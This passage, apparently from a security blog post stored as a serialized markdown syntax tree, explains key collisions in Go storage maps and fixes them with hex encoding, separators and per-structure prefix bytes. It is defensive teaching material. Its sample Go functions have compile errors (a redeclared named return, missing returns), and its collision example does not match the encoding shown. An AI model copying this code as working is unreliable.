AddressName",{"type":23,"tag":139,"props":84075,"children":84076},{"style":305},[84077],{"type":28,"value":82948},{"type":23,"tag":139,"props":84079,"children":84080},{"class":141,"line":1580},[84081,84085,84090,84094],{"type":23,"tag":139,"props":84082,"children":84083},{"style":279},[84084],{"type":28,"value":30644},{"type":23,"tag":139,"props":84086,"children":84087},{"style":305},[84088],{"type":28,"value":84089}," Address",{"type":23,"tag":139,"props":84091,"children":84092},{"style":279},[84093],{"type":28,"value":19159},{"type":23,"tag":139,"props":84095,"children":84096},{"style":259},[84097],{"type":28,"value":1268},{"type":23,"tag":139,"props":84099,"children":84100},{"class":141,"line":1597},[84101,84105,84109],{"type":23,"tag":139,"props":84102,"children":84103},{"style":294},[84104],{"type":28,"value":13116},{"type":23,"tag":139,"props":84106,"children":84107},{"style":259},[84108],{"type":28,"value":74131},{"type":23,"tag":139,"props":84110,"children":84111},{"style":305},[84112],{"type":28,"value":82132},{"type":23,"tag":139,"props":84114,"children":84115},{"class":141,"line":1614},[84116],{"type":23,"tag":139,"props":84117,"children":84118},{"style":259},[84119],{"type":28,"value":1897},{"type":23,"tag":139,"props":84121,"children":84122},{"class":141,"line":1627},[84123,84127,84132],{"type":23,"tag":139,"props":84124,"children":84125},{"style":279},[84126],{"type":28,"value":30644},{"type":23,"tag":139,"props":84128,"children":84129},{"style":305},[84130],{"type":28,"value":84131}," AddressMap",{"type":23,"tag":139,"props":84133,"children":84134},{"style":982},[84135],{"type":28,"value":83022},{"type":23,"tag":139,"props":84137,"children":84138},{"class":141,"line":1636},[84139,84143,84147,84151,84155,84159,84163,84167,84171,84175,84179,84184,84188],{"type":23,"tag":139,"props":84140,"children":84141},{"style":279},[84142],{"type":28,"value":83030},{"type":23,"tag":139,"props":84144,"children":84145},{"style":259},[84146],{"type":28,"value":1723},{"type":23,"tag":139,"props":84148,"children":84149},{"style":305},[84150],{"type":28,"value":83039},{"type":23,"tag":139,"props":84152,"children":84153},{"style":259},[84154],{"type":28,"value":13423},{"type":23,"tag":139,"props":84156,"children":84157},{"style":279},[84158],{"type":28,"value":65003},{"type":23,"tag":139,"props":84160,"children":84161},{"style":259},[84162],{"type":28,"value":1723},{"type":23,"tag":139,"props":84164,"children":84165},{"style":305},[84166],{"type":28,"value":83056},{"type":23,"tag":139,"props":84168,"children":84169},{"style":259},[84170],{"type":28,"value":13423},{"type":23,"tag":139,"props":84172,"children":84173},{"style":279},[84174],{"type":28,"value":65003},{"type":23,"tag":139,"props":84176,"children":84177},{"style":259},[84178],{"type":28,"value":1723},{"type":23,"tag":139,"props":84180,"children":84181},{"style":305},[84182],{"type":28,"value":84183},"AddressName",{"type":23,"tag":139,"props":84185,"children":84186},{"style":259},[84187],{"type":28,"value":13423},{"type":23,"tag":139,"props":84189,"children":84190},{"style":305},[84191],{"type":28,"value":84192},"Address\n",{"type":23,"tag":24,"props":84194,"children":84195},{},[84196],{"type":28,"value":84197},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":128,"props":84199,"children":84201},{"code":84200,"language":74068,"meta":7,"className":74069,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[84202],{"type":23,"tag":135,"props":84203,"children":84204},{"__ignoreMap":7},[84205,84216,84231,84238,84245,84252,84268,84283,84310,84333,84352,84368,84404,84411,84446,84453,84473,84488,84523,84530,84565,84572,84600,84612,84624,84636,84648,84659,84671,84678,84685,84692,84699,84715,84730,84754,84777,84796,84811,84846,84853,84888,84895,84915,84930,84965,84972,85008,85015,85042,85053,85064,85075,85086,85097,85109,85116],{"type":23,"tag":139,"props":84206,"children":84207},{"class":141,"line":142},[84208,84212],{"type":23,"tag":139,"props":84209,"children":84210},{"style":279},[84211],{"type":28,"value":7663},{"type":23,"tag":139,"props":84213,"children":84214},{"style":259},[84215],{"type":28,"value":76470},{"type":23,"tag":139,"props":84217,"children":84218},{"class":141,"line":151},[84219,84223,84227],{"type":23,"tag":139,"props":84220,"children":84221},{"style":294},[84222],{"type":28,"value":83235},{"type":23,"tag":139,"props":84224,"children":84225},{"style":982},[84226],{"type":28,"value":985},{"type":23,"tag":139,"props":84228,"children":84229},{"style":265},[84230],{"type":28,"value":83244},{"type":23,"tag":139,"props":84232,"children":84233},{"class":141,"line":160},[84234],{"type":23,"tag":139,"props":84235,"children":84236},{"style":259},[84237],{"type":28,"value":273},{"type":23,"tag":139,"props":84239,"children":84240},{"class":141,"line":169},[84241],{"type":23,"tag":139,"props":84242,"children":84243},{"emptyLinePlaceholder":15},[84244],{"type":28,"value":184},{"type":23,"tag":139,"props":84246,"children":84247},{"class":141,"line":178},[84248],{"type":23,"tag":139,"props":84249,"children":84250},{"emptyLinePlaceholder":15},[84251],{"type":28,"value":184},{"type":23,"tag":139,"props":84253,"children":84254},{"class":141,"line":187},[84255,84259,84264],{"type":23,"tag":139,"props":84256,"children":84257},{"style":279},[84258],{"type":28,"value":74204},{"type":23,"tag":139,"props":84260,"children":84261},{"style":245},[84262],{"type":28,"value":84263}," PositionMapKey",{"type":23,"tag":139,"props":84265,"children":84266},{"style":259},[84267],{"type":28,"value":1443},{"type":23,"tag":139,"props":84269,"children":84270},{"class":141,"line":196},[84271,84275,84279],{"type":23,"tag":139,"props":84272,"children":84273},{"style":294},[84274],{"type":28,"value":83151},{"type":23,"tag":139,"props":84276,"children":84277},{"style":305},[84278],{"type":28,"value":74325},{"type":23,"tag":139,"props":84280,"children":84281},{"style":259},[84282],{"type":28,"value":1488},{"type":23,"tag":139,"props":84284,"children":84285},{"class":141,"line":205},[84286,84290,84294,84298,84302,84306],{"type":23,"tag":139,"props":84287,"children":84288},{"style":294},[84289],{"type":28,"value":83163},{"type":23,"tag":139,"props":84291,"children":84292},{"style":259},[84293],{"type":28,"value":1052},{"type":23,"tag":139,"props":84295,"children":84296},{"style":294},[84297],{"type":28,"value":83644},{"type":23,"tag":139,"props":84299,"children":84300},{"style":259},[84301],{"type":28,"value":74131},{"type":23,"tag":139,"props":84303,"children":84304},{"style":305},[84305],{"type":28,"value":82669},{"type":23,"tag":139,"props":84307,"children":84308},{"style":259},[84309],{"type":28,"value":1488},{"type":23,"tag":139,"props":84311,"children":84312},{"class":141,"line":214},[84313,84317,84321,84325,84329],{"type":23,"tag":139,"props":84314,"children":84315},{"style":259},[84316],{"type":28,"value":74286},{"type":23,"tag":139,"props":84318,"children":84319},{"style":294},[84320],{"type":28,"value":70058},{"type":23,"tag":139,"props":84322,"children":84323},{"style":259},[84324],{"type":28,"value":74131},{"type":23,"tag":139,"props":84326,"children":84327},{"style":305},[84328],{"type":28,"value":82669},{"type":23,"tag":139,"props":84330,"children":84331},{"style":259},[84332],{"type":28,"value":12815},{"type":23,"tag":139,"props":84334,"children":84335},{"class":141,"line":1320},[84336,84340,84344,84348],{"type":23,"tag":139,"props":84337,"children":84338},{"style":294},[84339],{"type":28,"value":83765},{"type":23,"tag":139,"props":84341,"children":84342},{"style":982},[84343],{"type":28,"value":74320},{"type":23,"tag":139,"props":84345,"children":84346},{"style":245},[84347],{"type":28,"value":83468},{"type":23,"tag":139,"props":84349,"children":84350},{"style":259},[84351],{"type":28,"value":1443},{"type":23,"tag":139,"props":84353,"children":84354},{"class":141,"line":1329},[84355,84360,84364],{"type":23,"tag":139,"props":84356,"children":84357},{"style":259},[84358],{"type":28,"value":84359},"        []",{"type":23,"tag":139,"props":84361,"children":84362},{"style":305},[84363],{"type":28,"value":82669},{"type":23,"tag":139,"props":84365,"children":84366},{"style":259},[84367],{"type":28,"value":1488},{"type":23,"tag":139,"props":84369,"children":84370},{"class":141,"line":1580},[84371,84376,84380,84384,84388,84392,84396,84400],{"type":23,"tag":139,"props":84372,"children":84373},{"style":294},[84374],{"type":28,"value":84375},"        hex",{"type":23,"tag":139,"props":84377,"children":84378},{"style":259},[84379],{"type":28,"value":73},{"type":23,"tag":139,"props":84381,"children":84382},{"style":245},[84383],{"type":28,"value":83505},{"type":23,"tag":139,"props":84385,"children":84386},{"style":259},[84387],{"type":28,"value":262},{"type":23,"tag":139,"props":84389,"children":84390},{"style":245},[84391],{"type":28,"value":7146},{"type":23,"tag":139,"props":84393,"children":84394},{"style":259},[84395],{"type":28,"value":262},{"type":23,"tag":139,"props":84397,"children":84398},{"style":294},[84399],{"type":28,"value":83375},{"type":23,"tag":139,"props":84401,"children":84402},{"style":259},[84403],{"type":28,"value":83526},{"type":23,"tag":139,"props":84405,"children":84406},{"class":141,"line":1597},[84407],{"type":23,"tag":139,"props":84408,"children":84409},{"style":259},[84410],{"type":28,"value":21939},{"type":23,"tag":139,"props":84412,"children":84413},{"class":141,"line":1614},[84414,84418,84422,84426,84430,84434,84438,84442],{"type":23,"tag":139,"props":84415,"children":84416},{"style":294},[84417],{"type":28,"value":83496},{"type":23,"tag":139,"props":84419,"children":84420},{"style":259},[84421],{"type":28,"value":73},{"type":23,"tag":139,"props":84423,"children":84424},{"style":245},[84425],{"type":28,"value":83550},{"type":23,"tag":139,"props":84427,"children":84428},{"style":259},[84429],{"type":28,"value":262},{"type":23,"tag":139,"props":84431,"children":84432},{"style":294},[84433],{"type":28,"value":83459},{"type":23,"tag":139,"props":84435,"children":84436},{"style":259},[84437],{"type":28,"value":1052},{"type":23,"tag":139,"props":84439,"children":84440},{"style":294},[84441],{"type":28,"value":83375},{"type":23,"tag":139,"props":84443,"children":84444},{"style":259},[84445],{"type":28,"value":273},{"type":23,"tag":139,"props":84447,"children":84448},{"class":141,"line":1627},[84449],{"type":23,"tag":139,"props":84450,"children":84451},{"emptyLinePlaceholder":15},[84452],{"type":28,"value":184},{"type":23,"tag":139,"props":84454,"children":84455},{"class":141,"line":1636},[84456,84461,84465,84469],{"type":23,"tag":139,"props":84457,"children":84458},{"style":294},[84459],{"type":28,"value":84460},"    positionNameEncoded",{"type":23,"tag":139,"props":84462,"children":84463},{"style":982},[84464],{"type":28,"value":74320},{"type":23,"tag":139,"props":84466,"children":84467},{"style":245},[84468],{"type":28,"value":83468},{"type":23,"tag":139,"props":84470,"children":84471},{"style":259},[84472],{"type":28,"value":1443},{"type":23,"tag":139,"props":84474,"children":84475},{"class":141,"line":1659},[84476,84480,84484],{"type":23,"tag":139,"props":84477,"children":84478},{"style":259},[84479],{"type":28,"value":84359},{"type":23,"tag":139,"props":84481,"children":84482},{"style":305},[84483],{"type":28,"value":82669},{"type":23,"tag":139,"props":84485,"children":84486},{"style":259},[84487],{"type":28,"value":1488},{"type":23,"tag":139,"props":84489,"children":84490},{"class":141,"line":1667},[84491,84495,84499,84503,84507,84511,84515,84519],{"type":23,"tag":139,"props":84492,"children":84493},{"style":294},[84494],{"type":28,"value":84375},{"type":23,"tag":139,"props":84496,"children":84497},{"style":259},[84498],{"type":28,"value":73},{"type":23,"tag":139,"props":84500,"children":84501},{"style":245},[84502],{"type":28,"value":83505},{"type":23,"tag":139,"props":84504,"children":84505},{"style":259},[84506],{"type":28,"value":262},{"type":23,"tag":139,"props":84508,"children":84509},{"style":245},[84510],{"type":28,"value":7146},{"type":23,"tag":139,"props":84512,"children":84513},{"style":259},[84514],{"type":28,"value":262},{"type":23,"tag":139,"props":84516,"children":84517},{"style":294},[84518],{"type":28,"value":83644},{"type":23,"tag":139,"props":84520,"children":84521},{"style":259},[84522],{"type":28,"value":83526},{"type":23,"tag":139,"props":84524,"children":84525},{"class":141,"line":1676},[84526],{"type":23,"tag":139,"props":84527,"children":84528},{"style":259},[84529],{"type":28,"value":21939},{"type":23,"tag":139,"props":84531,"children":84532},{"class":141,"line":1745},[84533,84537,84541,84545,84549,84553,84557,84561],{"type":23,"tag":139,"props":84534,"children":84535},{"style":294},[84536],{"type":28,"value":83496},{"type":23,"tag":139,"props":84538,"children":84539},{"style":259},[84540],{"type":28,"value":73},{"type":23,"tag":139,"props":84542,"children":84543},{"style":245},[84544],{"type":28,"value":83550},{"type":23,"tag":139,"props":84546,"children":84547},{"style":259},[84548],{"type":28,"value":262},{"type":23,"tag":139,"props":84550,"children":84551},{"style":294},[84552],{"type":28,"value":83585},{"type":23,"tag":139,"props":84554,"children":84555},{"style":259},[84556],{"type":28,"value":1052},{"type":23,"tag":139,"props":84558,"children":84559},{"style":294},[84560],{"type":28,"value":83644},{"type":23,"tag":139,"props":84562,"children":84563},{"style":259},[84564],{"type":28,"value":273},{"type":23,"tag":139,"props":84566,"children":84567},{"class":141,"line":1753},[84568],{"type":23,"tag":139,"props":84569,"children":84570},{"emptyLinePlaceholder":15},[84571],{"type":28,"value":184},{"type":23,"tag":139,"props":84573,"children":84574},{"class":141,"line":1783},[84575,84580,84584,84588,84592,84596],{"type":23,"tag":139,"props":84576,"children":84577},{"style":294},[84578],{"type":28,"value":84579},"    key",{"type":23,"tag":139,"props":84581,"children":84582},{"style":982},[84583],{"type":28,"value":74320},{"type":23,"tag":139,"props":84585,"children":84586},{"style":294},[84587],{"type":28,"value":80138},{"type":23,"tag":139,"props":84589,"children":84590},{"style":259},[84591],{"type":28,"value":73},{"type":23,"tag":139,"props":84593,"children":84594},{"style":245},[84595],{"type":28,"value":83127},{"type":23,"tag":139,"props":84597,"children":84598},{"style":259},[84599],{"type":28,"value":1443},{"type":23,"tag":139,"props":84601,"children":84602},{"class":141,"line":1791},[84603,84608],{"type":23,"tag":139,"props":84604,"children":84605},{"style":265},[84606],{"type":28,"value":84607},"        \"%d%s%s%s%s\"",{"type":23,"tag":139,"props":84609,"children":84610},{"style":259},[84611],{"type":28,"value":1488},{"type":23,"tag":139,"props":84613,"children":84614},{"class":141,"line":1823},[84615,84620],{"type":23,"tag":139,"props":84616,"children":84617},{"style":294},[84618],{"type":28,"value":84619},"        vaultId",{"type":23,"tag":139,"props":84621,"children":84622},{"style":259},[84623],{"type":28,"value":1488},{"type":23,"tag":139,"props":84625,"children":84626},{"class":141,"line":1831},[84627,84632],{"type":23,"tag":139,"props":84628,"children":84629},{"style":294},[84630],{"type":28,"value":84631},"        Seperator",{"type":23,"tag":139,"props":84633,"children":84634},{"style":259},[84635],{"type":28,"value":1488},{"type":23,"tag":139,"props":84637,"children":84638},{"class":141,"line":1891},[84639,84644],{"type":23,"tag":139,"props":84640,"children":84641},{"style":294},[84642],{"type":28,"value":84643},"        usernameEncoded",{"type":23,"tag":139,"props":84645,"children":84646},{"style":259},[84647],{"type":28,"value":1488},{"type":23,"tag":139,"props":84649,"children":84650},{"class":141,"line":7053},[84651,84655],{"type":23,"tag":139,"props":84652,"children":84653},{"style":294},[84654],{"type":28,"value":84631},{"type":23,"tag":139,"props":84656,"children":84657},{"style":259},[84658],{"type":28,"value":1488},{"type":23,"tag":139,"props":84660,"children":84661},{"class":141,"line":7071},[84662,84667],{"type":23,"tag":139,"props":84663,"children":84664},{"style":294},[84665],{"type":28,"value":84666},"        positionNameEncoded",{"type":23,"tag":139,"props":84668,"children":84669},{"style":259},[84670],{"type":28,"value":1488},{"type":23,"tag":139,"props":84672,"children":84673},{"class":141,"line":7116},[84674],{"type":23,"tag":139,"props":84675,"children":84676},{"style":259},[84677],{"type":28,"value":21939},{"type":23,"tag":139,"props":84679,"children":84680},{"class":141,"line":7222},[84681],{"type":23,"tag":139,"props":84682,"children":84683},{"style":259},[84684],{"type":28,"value":1897},{"type":23,"tag":139,"props":84686,"children":84687},{"class":141,"line":21518},[84688],{"type":23,"tag":139,"props":84689,"children":84690},{"emptyLinePlaceholder":15},[84691],{"type":28,"value":184},{"type":23,"tag":139,"props":84693,"children":84694},{"class":141,"line":21553},[84695],{"type":23,"tag":139,"props":84696,"children":84697},{"emptyLinePlaceholder":15},[84698],{"type":28,"value":184},{"type":23,"tag":139,"props":84700,"children":84701},{"class":141,"line":21561},[84702,84706,84711],{"type":23,"tag":139,"props":84703,"children":84704},{"style":279},[84705],{"type":28,"value":74204},{"type":23,"tag":139,"props":84707,"children":84708},{"style":245},[84709],{"type":28,"value":84710}," AddressMapKey",{"type":23,"tag":139,"props":84712,"children":84713},{"style":259},[84714],{"type":28,"value":1443},{"type":23,"tag":139,"props":84716,"children":84717},{"class":141,"line":21569},[84718,84722,84726],{"type":23,"tag":139,"props":84719,"children":84720},{"style":294},[84721],{"type":28,"value":83151},{"type":23,"tag":139,"props":84723,"children":84724},{"style":305},[84725],{"type":28,"value":74325},{"type":23,"tag":139,"props":84727,"children":84728},{"style":259},[84729],{"type":28,"value":1488},{"type":23,"tag":139,"props":84731,"children":84732},{"class":141,"line":21578},[84733,84737,84741,84746,84750],{"type":23,"tag":139,"props":84734,"children":84735},{"style":294},[84736],{"type":28,"value":83163},{"type":23,"tag":139,"props":84738,"children":84739},{"style":259},[84740],{"type":28,"value":1052},{"type":23,"tag":139,"props":84742,"children":84743},{"style":294},[84744],{"type":28,"value":84745},"addressName",{"type":23,"tag":139,"props":84747,"children":84748},{"style":259},[84749],{"type":28,"value":74131},{"type":23,"tag":139,"props":84751,"children":84752},{"style":305},[84753],{"type":28,"value":82132},{"type":23,"tag":139,"props":84755,"children":84756},{"class":141,"line":21620},[84757,84761,84765,84769,84773],{"type":23,"tag":139,"props":84758,"children":84759},{"style":259},[84760],{"type":28,"value":74286},{"type":23,"tag":139,"props":84762,"children":84763},{"style":294},[84764],{"type":28,"value":70058},{"type":23,"tag":139,"props":84766,"children":84767},{"style":259},[84768],{"type":28,"value":74131},{"type":23,"tag":139,"props":84770,"children":84771},{"style":305},[84772],{"type":28,"value":82669},{"type":23,"tag":139,"props":84774,"children":84775},{"style":259},[84776],{"type":28,"value":12815},{"type":23,"tag":139,"props":84778,"children":84779},{"class":141,"line":21653},[84780,84784,84788,84792],{"type":23,"tag":139,"props":84781,"children":84782},{"style":294},[84783],{"type":28,"value":83765},{"type":23,"tag":139,"props":84785,"children":84786},{"style":982},[84787],{"type":28,"value":74320},{"type":23,"tag":139,"props":84789,"children":84790},{"style":245},[84791],{"type":28,"value":83468},{"type":23,"tag":139,"props":84793,"children":84794},{"style":259},[84795],{"type":28,"value":1443},{"type":23,"tag":139,"props":84797,"children":84798},{"class":141,"line":21661},[84799,84803,84807],{"type":23,"tag":139,"props":84800,"children":84801},{"style":259},[84802],{"type":28,"value":84359},{"type":23,"tag":139,"props":84804,"children":84805},{"style":305},[84806],{"type":28,"value":82669},{"type":23,"tag":139,"props":84808,"children":84809},{"style":259},[84810],{"type":28,"value":1488},{"type":23,"tag":139,"props":84812,"children":84813},{"class":141,"line":21669},[84814,84818,84822,84826,84830,84834,84838,84842],{"type":23,"tag":139,"props":84815,"children":84816},{"style":294},[84817],{"type":28,"value":84375},{"type":23,"tag":139,"props":84819,"children":84820},{"style":259},[84821],{"type":28,"value":73},{"type":23,"tag":139,"props":84823,"children":84824},{"style":245},[84825],{"type":28,"value":83505},{"type":23,"tag":139,"props":84827,"children":84828},{"style":259},[84829],{"type":28,"value":262},{"type":23,"tag":139,"props":84831,"children":84832},{"style":245},[84833],{"type":28,"value":7146},{"type":23,"tag":139,"props":84835,"children":84836},{"style":259},[84837],{"type":28,"value":262},{"type":23,"tag":139,"props":84839,"children":84840},{"style":294},[84841],{"type":28,"value":83375},{"type":23,"tag":139,"props":84843,"children":84844},{"style":259},[84845],{"type":28,"value":83526},{"type":23,"tag":139,"props":84847,"children":84848},{"class":141,"line":21678},[84849],{"type":23,"tag":139,"props":84850,"children":84851},{"style":259},[84852],{"type":28,"value":21939},{"type":23,"tag":139,"props":84854,"children":84855},{"class":141,"line":21754},[84856,84860,84864,84868,84872,84876,84880,84884],{"type":23,"tag":139,"props":84857,"children":84858},{"style":294},[84859],{"type":28,"value":83496},{"type":23,"tag":139,"props":84861,"children":84862},{"style":259},[84863],{"type":28,"value":73},{"type":23,"tag":139,"props":84865,"children":84866},{"style":245},[84867],{"type":28,"value":83550},{"type":23,"tag":139,"props":84869,"children":84870},{"style":259},[84871],{"type":28,"value":262},{"type":23,"tag":139,"props":84873,"children":84874},{"style":294},[84875],{"type":28,"value":83459},{"type":23,"tag":139,"props":84877,"children":84878},{"style":259},[84879],{"type":28,"value":1052},{"type":23,"tag":139,"props":84881,"children":84882},{"style":294},[84883],{"type":28,"value":83375},{"type":23,"tag":139,"props":84885,"children":84886},{"style":259},[84887],{"type":28,"value":273},{"type":23,"tag":139,"props":84889,"children":84890},{"class":141,"line":21787},[84891],{"type":23,"tag":139,"props":84892,"children":84893},{"emptyLinePlaceholder":15},[84894],{"type":28,"value":184},{"type":23,"tag":139,"props":84896,"children":84897},{"class":141,"line":21795},[84898,84903,84907,84911],{"type":23,"tag":139,"props":84899,"children":84900},{"style":294},[84901],{"type":28,"value":84902},"    addressNameEncoded",{"type":23,"tag":139,"props":84904,"children":84905},{"style":982},[84906],{"type":28,"value":74320},{"type":23,"tag":139,"props":84908,"children":84909},{"style":245},[84910],{"type":28,"value":83468},{"type":23,"tag":139,"props":84912,"children":84913},{"style":259},[84914],{"type":28,"value":1443},{"type":23,"tag":139,"props":84916,"children":84917},{"class":141,"line":21803},[84918,84922,84926],{"type":23,"tag":139,"props":84919,"children":84920},{"style":259},[84921],{"type":28,"value":84359},{"type":23,"tag":139,"props":84923,"children":84924},{"style":305},[84925],{"type":28,"value":82669},{"type":23,"tag":139,"props":84927,"children":84928},{"style":259},[84929],{"type":28,"value":1488},{"type":23,"tag":139,"props":84931,"children":84932},{"class":141,"line":21840},[84933,84937,84941,84945,84949,84953,84957,84961],{"type":23,"tag":139,"props":84934,"children":84935},{"style":294},[84936],{"type":28,"value":84375},{"type":23,"tag":139,"props":84938,"children":84939},{"style":259},[84940],{"type":28,"value":73},{"type":23,"tag":139,"props":84942,"children":84943},{"style":245},[84944],{"type":28,"value":83505},{"type":23,"tag":139,"props":84946,"children":84947},{"style":259},[84948],{"type":28,"value":262},{"type":23,"tag":139,"props":84950,"children":84951},{"style":245},[84952],{"type":28,"value":7146},{"type":23,"tag":139,"props":84954,"children":84955},{"style":259},[84956],{"type":28,"value":262},{"type":23,"tag":139,"props":84958,"children":84959},{"style":294},[84960],{"type":28,"value":84745},{"type":23,"tag":139,"props":84962,"children":84963},{"style":259},[84964],{"type":28,"value":83526},{"type":23,"tag":139,"props":84966,"children":84967},{"class":141,"line":21853},[84968],{"type":23,"tag":139,"props":84969,"children":84970},{"style":259},[84971],{"type":28,"value":21939},{"type":23,"tag":139,"props":84973,"children":84974},{"class":141,"line":21866},[84975,84979,84983,84987,84991,84996,85000,85004],{"type":23,"tag":139,"props":84976,"children":84977},{"style":294},[84978],{"type":28,"value":83496},{"type":23,"tag":139,"props":84980,"children":84981},{"style":259},[84982],{"type":28,"value":73},{"type":23,"tag":139,"props":84984,"children":84985},{"style":245},[84986],{"type":28,"value":83550},{"type":23,"tag":139,"props":84988,"children":84989},{"style":259},[84990],{"type":28,"value":262},{"type":23,"tag":139,"props":84992,"children":84993},{"style":294},[84994],{"type":28,"value":84995},"addressNameEncoded",{"type":23,"tag":139,"props":84997,"children":84998},{"style":259},[84999],{"type":28,"value":1052},{"type":23,"tag":139,"props":85001,"children":85002},{"style":294},[85003],{"type":28,"value":84745},{"type":23,"tag":139,"props":85005,"children":85006},{"style":259},[85007],{"type":28,"value":273},{"type":23,"tag":139,"props":85009,"children":85010},{"class":141,"line":21879},[85011],{"type":23,"tag":139,"props":85012,"children":85013},{"emptyLinePlaceholder":15},[85014],{"type":28,"value":184},{"type":23,"tag":139,"props":85016,"children":85017},{"class":141,"line":21933},[85018,85022,85026,85030,85034,85038],{"type":23,"tag":139,"props":85019,"children":85020},{"style":294},[85021],{"type":28,"value":84579},{"type":23,"tag":139,"props":85023,"children":85024},{"style":982},[85025],{"type":28,"value":74320},{"type":23,"tag":139,"props":85027,"children":85028},{"style":294},[85029],{"type":28,"value":80138},{"type":23,"tag":139,"props":85031,"children":85032},{"style":259},[85033],{"type":28,"value":73},{"type":23,"tag":139,"props":85035,"children":85036},{"style":245},[85037],{"type":28,"value":83127},{"type":23,"tag":139,"props":85039,"children":85040},{"style":259},[85041],{"type":28,"value":1443},{"type":23,"tag":139,"props":85043,"children":85044},{"class":141,"line":21942},[85045,85049],{"type":23,"tag":139,"props":85046,"children":85047},{"style":265},[85048],{"type":28,"value":84607},{"type":23,"tag":139,"props":85050,"children":85051},{"style":259},[85052],{"type":28,"value":1488},{"type":23,"tag":139,"props":85054,"children":85055},{"class":141,"line":30168},[85056,85060],{"type":23,"tag":139,"props":85057,"children":85058},{"style":294},[85059],{"type":28,"value":84619},{"type":23,"tag":139,"props":85061,"children":85062},{"style":259},[85063],{"type":28,"value":1488},{"type":23,"tag":139,"props":85065,"children":85066},{"class":141,"line":30189},[85067,85071],{"type":23,"tag":139,"props":85068,"children":85069},{"style":294},[85070],{"type":28,"value":84631},{"type":23,"tag":139,"props":85072,"children":85073},{"style":259},[85074],{"type":28,"value":1488},{"type":23,"tag":139,"props":85076,"children":85077},{"class":141,"line":78855},[85078,85082],{"type":23,"tag":139,"props":85079,"children":85080},{"style":294},[85081],{"type":28,"value":84643},{"type":23,"tag":139,"props":85083,"children":85084},{"style":259},[85085],{"type":28,"value":1488},{"type":23,"tag":139,"props":85087,"children":85088},{"class":141,"line":78868},[85089,85093],{"type":23,"tag":139,"props":85090,"children":85091},{"style":294},[85092],{"type":28,"value":84631},{"type":23,"tag":139,"props":85094,"children":85095},{"style":259},[85096],{"type":28,"value":1488},{"type":23,"tag":139,"props":85098,"children":85099},{"class":141,"line":78876},[85100,85105],{"type":23,"tag":139,"props":85101,"children":85102},{"style":294},[85103],{"type":28,"value":85104},"        addressNameEncoded",{"type":23,"tag":139,"props":85106,"children":85107},{"style":259},[85108],{"type":28,"value":1488},{"type":23,"tag":139,"props":85110,"children":85111},{"class":141,"line":78884},[85112],{"type":23,"tag":139,"props":85113,"children":85114},{"style":259},[85115],{"type":28,"value":21939},{"type":23,"tag":139,"props":85117,"children":85118},{"class":141,"line":78892},[85119],{"type":23,"tag":139,"props":85120,"children":85121},{"style":259},[85122],{"type":28,"value":1897},{"type":23,"tag":24,"props":85124,"children":85125},{},[85126,85128,85133],{"type":28,"value":85127},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":135,"props":85129,"children":85131},{"className":85130},[],[85132],{"type":28,"value":82881},{"type":28,"value":85134},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":128,"props":85136,"children":85138},{"code":85137},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[85139],{"type":23,"tag":135,"props":85140,"children":85141},{"__ignoreMap":7},[85142],{"type":28,"value":85137},{"type":23,"tag":24,"props":85144,"children":85145},{},[85146],{"type":28,"value":85147},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":128,"props":85149,"children":85151},{"code":85150,"language":74068,"meta":7,"className":74069,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    